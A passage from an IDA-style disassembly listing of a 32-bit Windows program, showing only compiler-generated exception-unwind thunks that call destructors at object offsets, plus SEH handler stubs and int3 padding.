		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AF88:				; DATA XREF: ___:004412FCo
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414430	proc near		; DATA XREF: sub_414430+2o
		mov	eax, offset dword_4412D0
		jmp	sub_437AB8
SEH_414430	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AFC8:				; DATA XREF: ___:00441344o
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AFD8:				; DATA XREF: ___:004144D2o
		mov	eax, offset dword_441318
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4145A0	proc near		; DATA XREF: sub_4145A0+2o
		mov	eax, offset dword_441358
		jmp	sub_437AB8
SEH_4145A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B018:				; DATA XREF: ___:004413B4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B020:				; DATA XREF: ___:00414762o
		mov	eax, offset dword_441388
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B038:				; DATA XREF: ___:004413ECo
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4148A0	proc near		; DATA XREF: sub_4148A0+2o
		mov	eax, offset dword_4413C0
		jmp	sub_437AB8
SEH_4148A0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B05B:				; DATA XREF: ___:00441424o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414AA0	proc near		; DATA XREF: sub_414AA0+2o
		mov	eax, offset dword_4413F8
		jmp	sub_437AB8
SEH_414AA0	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B098:				; DATA XREF: ___:00414B32o
		mov	eax, offset dword_441438
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B0B8:				; DATA XREF: ___:00414BC2o
		mov	eax, offset dword_441468
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B0D8:				; DATA XREF: ___:004414C4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414D70	proc near		; DATA XREF: sub_414D70+2o
		mov	eax, offset dword_441498
		jmp	sub_437AB8
SEH_414D70	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-48h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-44h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414E10	proc near		; DATA XREF: sub_414E10+8o
		mov	eax, offset dword_4414E0
		jmp	sub_437AB8
SEH_414E10	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_43B178:				; DATA XREF: ___:0044156Co
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_401447
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401938
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401CA3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401EA1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A32
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017AD
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402239
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401ECE
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018D9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017DA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B3B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F46
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_401889
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401E06
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_402013
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_401776
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401F00
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B2E1:				; DATA XREF: ___:00416A92o
		mov	eax, offset dword_441540
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_43B358:				; DATA XREF: ___:0044167Co
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_401447
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401938
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401CA3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401EA1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A32
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017AD
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402239
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401ECE
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018D9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017DA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B3B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F46
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_401889
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401E06
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_402013
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_401776
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401F00
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B4C1:				; DATA XREF: ___:00416E32o
		mov	eax, offset dword_441650
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4170B0	proc near		; DATA XREF: sub_4170B0+2o
		mov	eax, offset dword_441760
		jmp	sub_437AB8
SEH_4170B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_43B55B:				; DATA XREF: ___:004417BCo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40208B

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417120	proc near		; DATA XREF: sub_417120+2o
		mov	eax, offset dword_441790
		jmp	sub_437AB8
SEH_417120	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B98B:				; DATA XREF: ___:004419FCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417640	proc near		; DATA XREF: sub_417640+2o
		mov	eax, offset dword_4419D0
		jmp	sub_437AB8
SEH_417640	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43B9DB:				; DATA XREF: ___:00441A44o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4176E0	proc near		; DATA XREF: sub_4176E0+2o
		mov	eax, offset dword_441A18
		jmp	sub_437AB8
SEH_4176E0	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BA4E:				; DATA XREF: ___:00441A9Co
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4177B0	proc near		; DATA XREF: sub_4177B0+2o
		mov	eax, offset dword_441A70
		jmp	sub_437AB8
SEH_4177B0	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BAAB:				; DATA XREF: ___:00441AE4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417870	proc near		; DATA XREF: sub_417870+2o
		mov	eax, offset dword_441AB8
		jmp	sub_437AB8
SEH_417870	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BB0B:				; DATA XREF: ___:00441B34o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417930	proc near		; DATA XREF: sub_417930+2o
		mov	eax, offset dword_441B08
		jmp	sub_437AB8
SEH_417930	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4179F0	proc near		; DATA XREF: sub_4179F0+2o
		mov	eax, offset dword_441B58
		jmp	sub_437AB8
SEH_4179F0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417A60	proc near		; DATA XREF: sub_417A60+2o
		mov	eax, offset dword_441B88
		jmp	sub_437AB8
SEH_417A60	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417AD0	proc near		; DATA XREF: sub_417AD0+2o
		mov	eax, offset dword_441BB8
		jmp	sub_437AB8
SEH_417AD0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417B60	proc near		; DATA XREF: sub_417B60+2o
		mov	eax, offset dword_441BE8
		jmp	sub_437AB8
SEH_417B60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BBFB:				; DATA XREF: ___:00441C4Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417C20	proc near		; DATA XREF: sub_417C20+2o
		mov	eax, offset dword_441C20
		jmp	sub_437AB8
SEH_417C20	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BC4B:				; DATA XREF: ___:00441C94o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417CC0	proc near		; DATA XREF: sub_417CC0+2o
		mov	eax, offset dword_441C68
		jmp	sub_437AB8
SEH_417CC0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BC9B:				; DATA XREF: ___:00441CDCo
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417D60	proc near		; DATA XREF: sub_417D60+2o
		mov	eax, offset dword_441CB0
		jmp	sub_437AB8
SEH_417D60	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BD0E:				; DATA XREF: ___:00441D34o
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417E30	proc near		; DATA XREF: sub_417E30+2o
		mov	eax, offset dword_441D08
		jmp	sub_437AB8
SEH_417E30	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BD6B:				; DATA XREF: ___:00441D7Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417F50	proc near		; DATA XREF: sub_417F50+2o
		mov	eax, offset dword_441D50
		jmp	sub_437AB8
SEH_417F50	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
